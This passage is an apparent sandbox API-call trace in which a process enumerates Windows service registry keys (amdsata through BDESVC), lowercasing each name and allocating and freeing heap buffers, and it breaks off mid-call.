[0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, 